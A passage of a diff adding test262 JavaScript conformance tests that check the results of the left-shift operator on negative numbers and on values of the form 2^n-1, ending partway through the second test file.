+if (-67108864 << 26 !== 0) {
+ $ERROR('#859: -67108864 << 26 === 0. Actual: ' + (-67108864 << 26));
+}
+
+
+if (-134217728 << 26 !== 0) {
+ $ERROR('#860: -134217728 << 26 === 0. Actual: ' + (-134217728 << 26));
+}
+
+
+if (-268435456 << 26 !== 0) {
+ $ERROR('#861: -268435456 << 26 === 0. Actual: ' + (-268435456 << 26));
+}
+
+
+if (-536870912 << 26 !== 0) {
+ $ERROR('#862: -536870912 << 26 === 0. Actual: ' + (-536870912 << 26));
+}
+
+
+if (-1073741824 << 26 !== 0) {
+ $ERROR('#863: -1073741824 << 26 === 0. Actual: ' + (-1073741824 << 26));
+}
+
+
+if (-2147483648 << 26 !== 0) {
+ $ERROR('#864: -2147483648 << 26 === 0. Actual: ' + (-2147483648 << 26));
+}
+
+
+if (-1 << 27 !== -134217728) {
+ $ERROR('#865: -1 << 27 === -134217728. Actual: ' + (-1 << 27));
+}
+
+
+if (-2 << 27 !== -268435456) {
+ $ERROR('#866: -2 << 27 === -268435456. Actual: ' + (-2 << 27));
+}
+
+
+if (-4 << 27 !== -536870912) {
+ $ERROR('#867: -4 << 27 === -536870912. Actual: ' + (-4 << 27));
+}
+
+
+if (-8 << 27 !== -1073741824) {
+ $ERROR('#868: -8 << 27 === -1073741824. Actual: ' + (-8 << 27));
+}
+
+
+if (-16 << 27 !== -2147483648) {
+ $ERROR('#869: -16 << 27 === -2147483648. Actual: ' + (-16 << 27));
+}
+
+
+if (-32 << 27 !== 0) {
+ $ERROR('#870: -32 << 27 === 0. Actual: ' + (-32 << 27));
+}
+
+
+if (-64 << 27 !== 0) {
+ $ERROR('#871: -64 << 27 === 0. Actual: ' + (-64 << 27));
+}
+
+
+if (-128 << 27 !== 0) {
+ $ERROR('#872: -128 << 27 === 0. Actual: ' + (-128 << 27));
+}
+
+
+if (-256 << 27 !== 0) {
+ $ERROR('#873: -256 << 27 === 0. Actual: ' + (-256 << 27));
+}
+
+
+if (-512 << 27 !== 0) {
+ $ERROR('#874: -512 << 27 === 0. Actual: ' + (-512 << 27));
+}
+
+
+if (-1024 << 27 !== 0) {
+ $ERROR('#875: -1024 << 27 === 0. Actual: ' + (-1024 << 27));
+}
+
+
+if (-2048 << 27 !== 0) {
+ $ERROR('#876: -2048 << 27 === 0. Actual: ' + (-2048 << 27));
+}
+
+
+if (-4096 << 27 !== 0) {
+ $ERROR('#877: -4096 << 27 === 0. Actual: ' + (-4096 << 27));
+}
+
+
+if (-8192 << 27 !== 0) {
+ $ERROR('#878: -8192 << 27 === 0. Actual: ' + (-8192 << 27));
+}
+
+
+if (-16384 << 27 !== 0) {
+ $ERROR('#879: -16384 << 27 === 0. Actual: ' + (-16384 << 27));
+}
+
+
+if (-32768 << 27 !== 0) {
+ $ERROR('#880: -32768 << 27 === 0. Actual: ' + (-32768 << 27));
+}
+
+
+if (-65536 << 27 !== 0) {
+ $ERROR('#881: -65536 << 27 === 0. Actual: ' + (-65536 << 27));
+}
+
+
+if (-131072 << 27 !== 0) {
+ $ERROR('#882: -131072 << 27 === 0. Actual: ' + (-131072 << 27));
+}
+
+
+if (-262144 << 27 !== 0) {
+ $ERROR('#883: -262144 << 27 === 0. Actual: ' + (-262144 << 27));
+}
+
+
+if (-524288 << 27 !== 0) {
+ $ERROR('#884: -524288 << 27 === 0. Actual: ' + (-524288 << 27));
+}
+
+
+if (-1048576 << 27 !== 0) {
+ $ERROR('#885: -1048576 << 27 === 0. Actual: ' + (-1048576 << 27));
+}
+
+
+if (-2097152 << 27 !== 0) {
+ $ERROR('#886: -2097152 << 27 === 0. Actual: ' + (-2097152 << 27));
+}
+
+
+if (-4194304 << 27 !== 0) {
+ $ERROR('#887: -4194304 << 27 === 0. Actual: ' + (-4194304 << 27));
+}
+
+
+if (-8388608 << 27 !== 0) {
+ $ERROR('#888: -8388608 << 27 === 0. Actual: ' + (-8388608 << 27));
+}
+
+
+if (-16777216 << 27 !== 0) {
+ $ERROR('#889: -16777216 << 27 === 0. Actual: ' + (-16777216 << 27));
+}
+
+
+if (-33554432 << 27 !== 0) {
+ $ERROR('#890: -33554432 << 27 === 0. Actual: ' + (-33554432 << 27));
+}
+
+
+if (-67108864 << 27 !== 0) {
+ $ERROR('#891: -67108864 << 27 === 0. Actual: ' + (-67108864 << 27));
+}
+
+
+if (-134217728 << 27 !== 0) {
+ $ERROR('#892: -134217728 << 27 === 0. Actual: ' + (-134217728 << 27));
+}
+
+
+if (-268435456 << 27 !== 0) {
+ $ERROR('#893: -268435456 << 27 === 0. Actual: ' + (-268435456 << 27));
+}
+
+
+if (-536870912 << 27 !== 0) {
+ $ERROR('#894: -536870912 << 27 === 0. Actual: ' + (-536870912 << 27));
+}
+
+
+if (-1073741824 << 27 !== 0) {
+ $ERROR('#895: -1073741824 << 27 === 0. Actual: ' + (-1073741824 << 27));
+}
+
+
+if (-2147483648 << 27 !== 0) {
+ $ERROR('#896: -2147483648 << 27 === 0. Actual: ' + (-2147483648 << 27));
+}
+
+
+if (-1 << 28 !== -268435456) {
+ $ERROR('#897: -1 << 28 === -268435456. Actual: ' + (-1 << 28));
+}
+
+
+if (-2 << 28 !== -536870912) {
+ $ERROR('#898: -2 << 28 === -536870912. Actual: ' + (-2 << 28));
+}
+
+
+if (-4 << 28 !== -1073741824) {
+ $ERROR('#899: -4 << 28 === -1073741824. Actual: ' + (-4 << 28));
+}
+
+
+if (-8 << 28 !== -2147483648) {
+ $ERROR('#900: -8 << 28 === -2147483648. Actual: ' + (-8 << 28));
+}
+
+
+if (-16 << 28 !== 0) {
+ $ERROR('#901: -16 << 28 === 0. Actual: ' + (-16 << 28));
+}
+
+
+if (-32 << 28 !== 0) {
+ $ERROR('#902: -32 << 28 === 0. Actual: ' + (-32 << 28));
+}
+
+
+if (-64 << 28 !== 0) {
+ $ERROR('#903: -64 << 28 === 0. Actual: ' + (-64 << 28));
+}
+
+
+if (-128 << 28 !== 0) {
+ $ERROR('#904: -128 << 28 === 0. Actual: ' + (-128 << 28));
+}
+
+
+if (-256 << 28 !== 0) {
+ $ERROR('#905: -256 << 28 === 0. Actual: ' + (-256 << 28));
+}
+
+
+if (-512 << 28 !== 0) {
+ $ERROR('#906: -512 << 28 === 0. Actual: ' + (-512 << 28));
+}
+
+
+if (-1024 << 28 !== 0) {
+ $ERROR('#907: -1024 << 28 === 0. Actual: ' + (-1024 << 28));
+}
+
+
+if (-2048 << 28 !== 0) {
+ $ERROR('#908: -2048 << 28 === 0. Actual: ' + (-2048 << 28));
+}
+
+
+if (-4096 << 28 !== 0) {
+ $ERROR('#909: -4096 << 28 === 0. Actual: ' + (-4096 << 28));
+}
+
+
+if (-8192 << 28 !== 0) {
+ $ERROR('#910: -8192 << 28 === 0. Actual: ' + (-8192 << 28));
+}
+
+
+if (-16384 << 28 !== 0) {
+ $ERROR('#911: -16384 << 28 === 0. Actual: ' + (-16384 << 28));
+}
+
+
+if (-32768 << 28 !== 0) {
+ $ERROR('#912: -32768 << 28 === 0. Actual: ' + (-32768 << 28));
+}
+
+
+if (-65536 << 28 !== 0) {
+ $ERROR('#913: -65536 << 28 === 0. Actual: ' + (-65536 << 28));
+}
+
+
+if (-131072 << 28 !== 0) {
+ $ERROR('#914: -131072 << 28 === 0. Actual: ' + (-131072 << 28));
+}
+
+
+if (-262144 << 28 !== 0) {
+ $ERROR('#915: -262144 << 28 === 0. Actual: ' + (-262144 << 28));
+}
+
+
+if (-524288 << 28 !== 0) {
+ $ERROR('#916: -524288 << 28 === 0. Actual: ' + (-524288 << 28));
+}
+
+
+if (-1048576 << 28 !== 0) {
+ $ERROR('#917: -1048576 << 28 === 0. Actual: ' + (-1048576 << 28));
+}
+
+
+if (-2097152 << 28 !== 0) {
+ $ERROR('#918: -2097152 << 28 === 0. Actual: ' + (-2097152 << 28));
+}
+
+
+if (-4194304 << 28 !== 0) {
+ $ERROR('#919: -4194304 << 28 === 0. Actual: ' + (-4194304 << 28));
+}
+
+
+if (-8388608 << 28 !== 0) {
+ $ERROR('#920: -8388608 << 28 === 0. Actual: ' + (-8388608 << 28));
+}
+
+
+if (-16777216 << 28 !== 0) {
+ $ERROR('#921: -16777216 << 28 === 0. Actual: ' + (-16777216 << 28));
+}
+
+
+if (-33554432 << 28 !== 0) {
+ $ERROR('#922: -33554432 << 28 === 0. Actual: ' + (-33554432 << 28));
+}
+
+
+if (-67108864 << 28 !== 0) {
+ $ERROR('#923: -67108864 << 28 === 0. Actual: ' + (-67108864 << 28));
+}
+
+
+if (-134217728 << 28 !== 0) {
+ $ERROR('#924: -134217728 << 28 === 0. Actual: ' + (-134217728 << 28));
+}
+
+
+if (-268435456 << 28 !== 0) {
+ $ERROR('#925: -268435456 << 28 === 0. Actual: ' + (-268435456 << 28));
+}
+
+
+if (-536870912 << 28 !== 0) {
+ $ERROR('#926: -536870912 << 28 === 0. Actual: ' + (-536870912 << 28));
+}
+
+
+if (-1073741824 << 28 !== 0) {
+ $ERROR('#927: -1073741824 << 28 === 0. Actual: ' + (-1073741824 << 28));
+}
+
+
+if (-2147483648 << 28 !== 0) {
+ $ERROR('#928: -2147483648 << 28 === 0. Actual: ' + (-2147483648 << 28));
+}
+
+
+if (-1 << 29 !== -536870912) {
+ $ERROR('#929: -1 << 29 === -536870912. Actual: ' + (-1 << 29));
+}
+
+
+if (-2 << 29 !== -1073741824) {
+ $ERROR('#930: -2 << 29 === -1073741824. Actual: ' + (-2 << 29));
+}
+
+
+if (-4 << 29 !== -2147483648) {
+ $ERROR('#931: -4 << 29 === -2147483648. Actual: ' + (-4 << 29));
+}
+
+
+if (-8 << 29 !== 0) {
+ $ERROR('#932: -8 << 29 === 0. Actual: ' + (-8 << 29));
+}
+
+
+if (-16 << 29 !== 0) {
+ $ERROR('#933: -16 << 29 === 0. Actual: ' + (-16 << 29));
+}
+
+
+if (-32 << 29 !== 0) {
+ $ERROR('#934: -32 << 29 === 0. Actual: ' + (-32 << 29));
+}
+
+
+if (-64 << 29 !== 0) {
+ $ERROR('#935: -64 << 29 === 0. Actual: ' + (-64 << 29));
+}
+
+
+if (-128 << 29 !== 0) {
+ $ERROR('#936: -128 << 29 === 0. Actual: ' + (-128 << 29));
+}
+
+
+if (-256 << 29 !== 0) {
+ $ERROR('#937: -256 << 29 === 0. Actual: ' + (-256 << 29));
+}
+
+
+if (-512 << 29 !== 0) {
+ $ERROR('#938: -512 << 29 === 0. Actual: ' + (-512 << 29));
+}
+
+
+if (-1024 << 29 !== 0) {
+ $ERROR('#939: -1024 << 29 === 0. Actual: ' + (-1024 << 29));
+}
+
+
+if (-2048 << 29 !== 0) {
+ $ERROR('#940: -2048 << 29 === 0. Actual: ' + (-2048 << 29));
+}
+
+
+if (-4096 << 29 !== 0) {
+ $ERROR('#941: -4096 << 29 === 0. Actual: ' + (-4096 << 29));
+}
+
+
+if (-8192 << 29 !== 0) {
+ $ERROR('#942: -8192 << 29 === 0. Actual: ' + (-8192 << 29));
+}
+
+
+if (-16384 << 29 !== 0) {
+ $ERROR('#943: -16384 << 29 === 0. Actual: ' + (-16384 << 29));
+}
+
+
+if (-32768 << 29 !== 0) {
+ $ERROR('#944: -32768 << 29 === 0. Actual: ' + (-32768 << 29));
+}
+
+
+if (-65536 << 29 !== 0) {
+ $ERROR('#945: -65536 << 29 === 0. Actual: ' + (-65536 << 29));
+}
+
+
+if (-131072 << 29 !== 0) {
+ $ERROR('#946: -131072 << 29 === 0. Actual: ' + (-131072 << 29));
+}
+
+
+if (-262144 << 29 !== 0) {
+ $ERROR('#947: -262144 << 29 === 0. Actual: ' + (-262144 << 29));
+}
+
+
+if (-524288 << 29 !== 0) {
+ $ERROR('#948: -524288 << 29 === 0. Actual: ' + (-524288 << 29));
+}
+
+
+if (-1048576 << 29 !== 0) {
+ $ERROR('#949: -1048576 << 29 === 0. Actual: ' + (-1048576 << 29));
+}
+
+
+if (-2097152 << 29 !== 0) {
+ $ERROR('#950: -2097152 << 29 === 0. Actual: ' + (-2097152 << 29));
+}
+
+
+if (-4194304 << 29 !== 0) {
+ $ERROR('#951: -4194304 << 29 === 0. Actual: ' + (-4194304 << 29));
+}
+
+
+if (-8388608 << 29 !== 0) {
+ $ERROR('#952: -8388608 << 29 === 0. Actual: ' + (-8388608 << 29));
+}
+
+
+if (-16777216 << 29 !== 0) {
+ $ERROR('#953: -16777216 << 29 === 0. Actual: ' + (-16777216 << 29));
+}
+
+
+if (-33554432 << 29 !== 0) {
+ $ERROR('#954: -33554432 << 29 === 0. Actual: ' + (-33554432 << 29));
+}
+
+
+if (-67108864 << 29 !== 0) {
+ $ERROR('#955: -67108864 << 29 === 0. Actual: ' + (-67108864 << 29));
+}
+
+
+if (-134217728 << 29 !== 0) {
+ $ERROR('#956: -134217728 << 29 === 0. Actual: ' + (-134217728 << 29));
+}
+
+
+if (-268435456 << 29 !== 0) {
+ $ERROR('#957: -268435456 << 29 === 0. Actual: ' + (-268435456 << 29));
+}
+
+
+if (-536870912 << 29 !== 0) {
+ $ERROR('#958: -536870912 << 29 === 0. Actual: ' + (-536870912 << 29));
+}
+
+
+if (-1073741824 << 29 !== 0) {
+ $ERROR('#959: -1073741824 << 29 === 0. Actual: ' + (-1073741824 << 29));
+}
+
+
+if (-2147483648 << 29 !== 0) {
+ $ERROR('#960: -2147483648 << 29 === 0. Actual: ' + (-2147483648 << 29));
+}
+
+
+if (-1 << 30 !== -1073741824) {
+ $ERROR('#961: -1 << 30 === -1073741824. Actual: ' + (-1 << 30));
+}
+
+
+if (-2 << 30 !== -2147483648) {
+ $ERROR('#962: -2 << 30 === -2147483648. Actual: ' + (-2 << 30));
+}
+
+
+if (-4 << 30 !== 0) {
+ $ERROR('#963: -4 << 30 === 0. Actual: ' + (-4 << 30));
+}
+
+
+if (-8 << 30 !== 0) {
+ $ERROR('#964: -8 << 30 === 0. Actual: ' + (-8 << 30));
+}
+
+
+if (-16 << 30 !== 0) {
+ $ERROR('#965: -16 << 30 === 0. Actual: ' + (-16 << 30));
+}
+
+
+if (-32 << 30 !== 0) {
+ $ERROR('#966: -32 << 30 === 0. Actual: ' + (-32 << 30));
+}
+
+
+if (-64 << 30 !== 0) {
+ $ERROR('#967: -64 << 30 === 0. Actual: ' + (-64 << 30));
+}
+
+
+if (-128 << 30 !== 0) {
+ $ERROR('#968: -128 << 30 === 0. Actual: ' + (-128 << 30));
+}
+
+
+if (-256 << 30 !== 0) {
+ $ERROR('#969: -256 << 30 === 0. Actual: ' + (-256 << 30));
+}
+
+
+if (-512 << 30 !== 0) {
+ $ERROR('#970: -512 << 30 === 0. Actual: ' + (-512 << 30));
+}
+
+
+if (-1024 << 30 !== 0) {
+ $ERROR('#971: -1024 << 30 === 0. Actual: ' + (-1024 << 30));
+}
+
+
+if (-2048 << 30 !== 0) {
+ $ERROR('#972: -2048 << 30 === 0. Actual: ' + (-2048 << 30));
+}
+
+
+if (-4096 << 30 !== 0) {
+ $ERROR('#973: -4096 << 30 === 0. Actual: ' + (-4096 << 30));
+}
+
+
+if (-8192 << 30 !== 0) {
+ $ERROR('#974: -8192 << 30 === 0. Actual: ' + (-8192 << 30));
+}
+
+
+if (-16384 << 30 !== 0) {
+ $ERROR('#975: -16384 << 30 === 0. Actual: ' + (-16384 << 30));
+}
+
+
+if (-32768 << 30 !== 0) {
+ $ERROR('#976: -32768 << 30 === 0. Actual: ' + (-32768 << 30));
+}
+
+
+if (-65536 << 30 !== 0) {
+ $ERROR('#977: -65536 << 30 === 0. Actual: ' + (-65536 << 30));
+}
+
+
+if (-131072 << 30 !== 0) {
+ $ERROR('#978: -131072 << 30 === 0. Actual: ' + (-131072 << 30));
+}
+
+
+if (-262144 << 30 !== 0) {
+ $ERROR('#979: -262144 << 30 === 0. Actual: ' + (-262144 << 30));
+}
+
+
+if (-524288 << 30 !== 0) {
+ $ERROR('#980: -524288 << 30 === 0. Actual: ' + (-524288 << 30));
+}
+
+
+if (-1048576 << 30 !== 0) {
+ $ERROR('#981: -1048576 << 30 === 0. Actual: ' + (-1048576 << 30));
+}
+
+
+if (-2097152 << 30 !== 0) {
+ $ERROR('#982: -2097152 << 30 === 0. Actual: ' + (-2097152 << 30));
+}
+
+
+if (-4194304 << 30 !== 0) {
+ $ERROR('#983: -4194304 << 30 === 0. Actual: ' + (-4194304 << 30));
+}
+
+
+if (-8388608 << 30 !== 0) {
+ $ERROR('#984: -8388608 << 30 === 0. Actual: ' + (-8388608 << 30));
+}
+
+
+if (-16777216 << 30 !== 0) {
+ $ERROR('#985: -16777216 << 30 === 0. Actual: ' + (-16777216 << 30));
+}
+
+
+if (-33554432 << 30 !== 0) {
+ $ERROR('#986: -33554432 << 30 === 0. Actual: ' + (-33554432 << 30));
+}
+
+
+if (-67108864 << 30 !== 0) {
+ $ERROR('#987: -67108864 << 30 === 0. Actual: ' + (-67108864 << 30));
+}
+
+
+if (-134217728 << 30 !== 0) {
+ $ERROR('#988: -134217728 << 30 === 0. Actual: ' + (-134217728 << 30));
+}
+
+
+if (-268435456 << 30 !== 0) {
+ $ERROR('#989: -268435456 << 30 === 0. Actual: ' + (-268435456 << 30));
+}
+
+
+if (-536870912 << 30 !== 0) {
+ $ERROR('#990: -536870912 << 30 === 0. Actual: ' + (-536870912 << 30));
+}
+
+
+if (-1073741824 << 30 !== 0) {
+ $ERROR('#991: -1073741824 << 30 === 0. Actual: ' + (-1073741824 << 30));
+}
+
+
+if (-2147483648 << 30 !== 0) {
+ $ERROR('#992: -2147483648 << 30 === 0. Actual: ' + (-2147483648 << 30));
+}
+
+
+if (-1 << 31 !== -2147483648) {
+ $ERROR('#993: -1 << 31 === -2147483648. Actual: ' + (-1 << 31));
+}
+
+
+if (-2 << 31 !== 0) {
+ $ERROR('#994: -2 << 31 === 0. Actual: ' + (-2 << 31));
+}
+
+
+if (-4 << 31 !== 0) {
+ $ERROR('#995: -4 << 31 === 0. Actual: ' + (-4 << 31));
+}
+
+
+if (-8 << 31 !== 0) {
+ $ERROR('#996: -8 << 31 === 0. Actual: ' + (-8 << 31));
+}
+
+
+if (-16 << 31 !== 0) {
+ $ERROR('#997: -16 << 31 === 0. Actual: ' + (-16 << 31));
+}
+
+
+if (-32 << 31 !== 0) {
+ $ERROR('#998: -32 << 31 === 0. Actual: ' + (-32 << 31));
+}
+
+
+if (-64 << 31 !== 0) {
+ $ERROR('#999: -64 << 31 === 0. Actual: ' + (-64 << 31));
+}
+
+
+if (-128 << 31 !== 0) {
+ $ERROR('#1000: -128 << 31 === 0. Actual: ' + (-128 << 31));
+}
+
+
+if (-256 << 31 !== 0) {
+ $ERROR('#1001: -256 << 31 === 0. Actual: ' + (-256 << 31));
+}
+
+
+if (-512 << 31 !== 0) {
+ $ERROR('#1002: -512 << 31 === 0. Actual: ' + (-512 << 31));
+}
+
+
+if (-1024 << 31 !== 0) {
+ $ERROR('#1003: -1024 << 31 === 0. Actual: ' + (-1024 << 31));
+}
+
+
+if (-2048 << 31 !== 0) {
+ $ERROR('#1004: -2048 << 31 === 0. Actual: ' + (-2048 << 31));
+}
+
+
+if (-4096 << 31 !== 0) {
+ $ERROR('#1005: -4096 << 31 === 0. Actual: ' + (-4096 << 31));
+}
+
+
+if (-8192 << 31 !== 0) {
+ $ERROR('#1006: -8192 << 31 === 0. Actual: ' + (-8192 << 31));
+}
+
+
+if (-16384 << 31 !== 0) {
+ $ERROR('#1007: -16384 << 31 === 0. Actual: ' + (-16384 << 31));
+}
+
+
+if (-32768 << 31 !== 0) {
+ $ERROR('#1008: -32768 << 31 === 0. Actual: ' + (-32768 << 31));
+}
+
+
+if (-65536 << 31 !== 0) {
+ $ERROR('#1009: -65536 << 31 === 0. Actual: ' + (-65536 << 31));
+}
+
+
+if (-131072 << 31 !== 0) {
+ $ERROR('#1010: -131072 << 31 === 0. Actual: ' + (-131072 << 31));
+}
+
+
+if (-262144 << 31 !== 0) {
+ $ERROR('#1011: -262144 << 31 === 0. Actual: ' + (-262144 << 31));
+}
+
+
+if (-524288 << 31 !== 0) {
+ $ERROR('#1012: -524288 << 31 === 0. Actual: ' + (-524288 << 31));
+}
+
+
+if (-1048576 << 31 !== 0) {
+ $ERROR('#1013: -1048576 << 31 === 0. Actual: ' + (-1048576 << 31));
+}
+
+
+if (-2097152 << 31 !== 0) {
+ $ERROR('#1014: -2097152 << 31 === 0. Actual: ' + (-2097152 << 31));
+}
+
+
+if (-4194304 << 31 !== 0) {
+ $ERROR('#1015: -4194304 << 31 === 0. Actual: ' + (-4194304 << 31));
+}
+
+
+if (-8388608 << 31 !== 0) {
+ $ERROR('#1016: -8388608 << 31 === 0. Actual: ' + (-8388608 << 31));
+}
+
+
+if (-16777216 << 31 !== 0) {
+ $ERROR('#1017: -16777216 << 31 === 0. Actual: ' + (-16777216 << 31));
+}
+
+
+if (-33554432 << 31 !== 0) {
+ $ERROR('#1018: -33554432 << 31 === 0. Actual: ' + (-33554432 << 31));
+}
+
+
+if (-67108864 << 31 !== 0) {
+ $ERROR('#1019: -67108864 << 31 === 0. Actual: ' + (-67108864 << 31));
+}
+
+
+if (-134217728 << 31 !== 0) {
+ $ERROR('#1020: -134217728 << 31 === 0. Actual: ' + (-134217728 << 31));
+}
+
+
+if (-268435456 << 31 !== 0) {
+ $ERROR('#1021: -268435456 << 31 === 0. Actual: ' + (-268435456 << 31));
+}
+
+
+if (-536870912 << 31 !== 0) {
+ $ERROR('#1022: -536870912 << 31 === 0. Actual: ' + (-536870912 << 31));
+}
+
+
+if (-1073741824 << 31 !== 0) {
+ $ERROR('#1023: -1073741824 << 31 === 0. Actual: ' + (-1073741824 << 31));
+}
+
+
+if (-2147483648 << 31 !== 0) {
+ $ERROR('#1024: -2147483648 << 31 === 0. Actual: ' + (-2147483648 << 31));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T3.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T3.js
new file mode 100644
index 000000000..5357d1857
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T3.js
@@ -0,0 +1,2571 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check operator x << y in distinct points
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A4_T3.js
+ * @description ShiftExpression = 2^n - 1, n = 0...15
+ */
+
+//CHECK
+
+if (0 << 0 !== 0) {
+ $ERROR('#1: 0 << 0 === 0. Actual: ' + (0 << 0));
+}
+
+
+if (1 << 0 !== 1) {
+ $ERROR('#2: 1 << 0 === 1. Actual: ' + (1 << 0));
+}
+
+
+if (3 << 0 !== 3) {
+ $ERROR('#3: 3 << 0 === 3. Actual: ' + (3 << 0));
+}
+
+
+if (7 << 0 !== 7) {
+ $ERROR('#4: 7 << 0 === 7. Actual: ' + (7 << 0));
+}
+
+
+if (15 << 0 !== 15) {
+ $ERROR('#5: 15 << 0 === 15. Actual: ' + (15 << 0));
+}
+
+
+if (31 << 0 !== 31) {
+ $ERROR('#6: 31 << 0 === 31. Actual: ' + (31 << 0));
+}
+
+
+if (63 << 0 !== 63) {
+ $ERROR('#7: 63 << 0 === 63. Actual: ' + (63 << 0));
+}
+
+
+if (127 << 0 !== 127) {
+ $ERROR('#8: 127 << 0 === 127. Actual: ' + (127 << 0));
+}
+
+
+if (255 << 0 !== 255) {
+ $ERROR('#9: 255 << 0 === 255. Actual: ' + (255 << 0));
+}
+
+
+if (511 << 0 !== 511) {
+ $ERROR('#10: 511 << 0 === 511. Actual: ' + (511 << 0));
+}
+
+
+if (1023 << 0 !== 1023) {
+ $ERROR('#11: 1023 << 0 === 1023. Actual: ' + (1023 << 0));
+}
+
+
+if (2047 << 0 !== 2047) {
+ $ERROR('#12: 2047 << 0 === 2047. Actual: ' + (2047 << 0));
+}
+
+
+if (4095 << 0 !== 4095) {
+ $ERROR('#13: 4095 << 0 === 4095. Actual: ' + (4095 << 0));
+}
+
+
+if (8191 << 0 !== 8191) {
+ $ERROR('#14: 8191 << 0 === 8191. Actual: ' + (8191 << 0));
+}
+
+
+if (16383 << 0 !== 16383) {
+ $ERROR('#15: 16383 << 0 === 16383. Actual: ' + (16383 << 0));
+}
+
+
+if (32767 << 0 !== 32767) {
+ $ERROR('#16: 32767 << 0 === 32767. Actual: ' + (32767 << 0));
+}
+
+
+if (65535 << 0 !== 65535) {
+ $ERROR('#17: 65535 << 0 === 65535. Actual: ' + (65535 << 0));
+}
+
+
+if (131071 << 0 !== 131071) {
+ $ERROR('#18: 131071 << 0 === 131071. Actual: ' + (131071 << 0));
+}
+
+
+if (262143 << 0 !== 262143) {
+ $ERROR('#19: 262143 << 0 === 262143. Actual: ' + (262143 << 0));
+}
+
+
+if (524287 << 0 !== 524287) {
+ $ERROR('#20: 524287 << 0 === 524287. Actual: ' + (524287 << 0));
+}
+
+
+if (1048575 << 0 !== 1048575) {
+ $ERROR('#21: 1048575 << 0 === 1048575. Actual: ' + (1048575 << 0));
+}
+
+
+if (2097151 << 0 !== 2097151) {
+ $ERROR('#22: 2097151 << 0 === 2097151. Actual: ' + (2097151 << 0));
+}
+
+
+if (4194303 << 0 !== 4194303) {
+ $ERROR('#23: 4194303 << 0 === 4194303. Actual: ' + (4194303 << 0));
+}
+
+
+if (8388607 << 0 !== 8388607) {
+ $ERROR('#24: 8388607 << 0 === 8388607. Actual: ' + (8388607 << 0));
+}
+
+
+if (16777215 << 0 !== 16777215) {
+ $ERROR('#25: 16777215 << 0 === 16777215. Actual: ' + (16777215 << 0));
+}
+
+
+if (33554431 << 0 !== 33554431) {
+ $ERROR('#26: 33554431 << 0 === 33554431. Actual: ' + (33554431 << 0));
+}
+
+
+if (67108863 << 0 !== 67108863) {
+ $ERROR('#27: 67108863 << 0 === 67108863. Actual: ' + (67108863 << 0));
+}
+
+
+if (134217727 << 0 !== 134217727) {
+ $ERROR('#28: 134217727 << 0 === 134217727. Actual: ' + (134217727 << 0));
+}
+
+
+if (268435455 << 0 !== 268435455) {
+ $ERROR('#29: 268435455 << 0 === 268435455. Actual: ' + (268435455 << 0));
+}
+
+
+if (536870911 << 0 !== 536870911) {
+ $ERROR('#30: 536870911 << 0 === 536870911. Actual: ' + (536870911 << 0));
+}
+
+
+if (1073741823 << 0 !== 1073741823) {
+ $ERROR('#31: 1073741823 << 0 === 1073741823. Actual: ' + (1073741823 << 0));
+}
+
+
+if (2147483647 << 0 !== 2147483647) {
+ $ERROR('#32: 2147483647 << 0 === 2147483647. Actual: ' + (2147483647 << 0));
+}
+
+
+if (0 << 1 !== 0) {
+ $ERROR('#33: 0 << 1 === 0. Actual: ' + (0 << 1));
+}
+
+
+if (1 << 1 !== 2) {
+ $ERROR('#34: 1 << 1 === 2. Actual: ' + (1 << 1));
+}
+
+
+if (3 << 1 !== 6) {
+ $ERROR('#35: 3 << 1 === 6. Actual: ' + (3 << 1));
+}
+
+
+if (7 << 1 !== 14) {
+ $ERROR('#36: 7 << 1 === 14. Actual: ' + (7 << 1));
+}
+
+
+if (15 << 1 !== 30) {
+ $ERROR('#37: 15 << 1 === 30. Actual: ' + (15 << 1));
+}
+
+
+if (31 << 1 !== 62) {
+ $ERROR('#38: 31 << 1 === 62. Actual: ' + (31 << 1));
+}
+
+
+if (63 << 1 !== 126) {
+ $ERROR('#39: 63 << 1 === 126. Actual: ' + (63 << 1));
+}
+
+
+if (127 << 1 !== 254) {
+ $ERROR('#40: 127 << 1 === 254. Actual: ' + (127 << 1));
+}
+
+
+if (255 << 1 !== 510) {
+ $ERROR('#41: 255 << 1 === 510. Actual: ' + (255 << 1));
+}
+
+
+if (511 << 1 !== 1022) {
+ $ERROR('#42: 511 << 1 === 1022. Actual: ' + (511 << 1));
+}
+
+
+if (1023 << 1 !== 2046) {
+ $ERROR('#43: 1023 << 1 === 2046. Actual: ' + (1023 << 1));
+}
+
+
+if (2047 << 1 !== 4094) {
+ $ERROR('#44: 2047 << 1 === 4094. Actual: ' + (2047 << 1));
+}
+
+
+if (4095 << 1 !== 8190) {
+ $ERROR('#45: 4095 << 1 === 8190. Actual: ' + (4095 << 1));
+}
+
+
+if (8191 << 1 !== 16382) {
+ $ERROR('#46: 8191 << 1 === 16382. Actual: ' + (8191 << 1));
+}
+
+
+if (16383 << 1 !== 32766) {
+ $ERROR('#47: 16383 << 1 === 32766. Actual: ' + (16383 << 1));
+}
+
+
+if (32767 << 1 !== 65534) {
+ $ERROR('#48: 32767 << 1 === 65534. Actual: ' + (32767 << 1));
+}
+
+
+if (65535 << 1 !== 131070) {
+ $ERROR('#49: 65535 << 1 === 131070. Actual: ' + (65535 << 1));
+}
+
+
+if (131071 << 1 !== 262142) {
+ $ERROR('#50: 131071 << 1 === 262142. Actual: ' + (131071 << 1));
+}
+
+
+if (262143 << 1 !== 524286) {
+ $ERROR('#51: 262143 << 1 === 524286. Actual: ' + (262143 << 1));
+}
+
+
+if (524287 << 1 !== 1048574) {
+ $ERROR('#52: 524287 << 1 === 1048574. Actual: ' + (524287 << 1));
+}
+
+
+if (1048575 << 1 !== 2097150) {
+ $ERROR('#53: 1048575 << 1 === 2097150. Actual: ' + (1048575 << 1));
+}
+
+
+if (2097151 << 1 !== 4194302) {
+ $ERROR('#54: 2097151 << 1 === 4194302. Actual: ' + (2097151 << 1));
+}
+
+
+if (4194303 << 1 !== 8388606) {
+ $ERROR('#55: 4194303 << 1 === 8388606. Actual: ' + (4194303 << 1));
+}
+
+
+if (8388607 << 1 !== 16777214) {
+ $ERROR('#56: 8388607 << 1 === 16777214. Actual: ' + (8388607 << 1));
+}
+
+
+if (16777215 << 1 !== 33554430) {
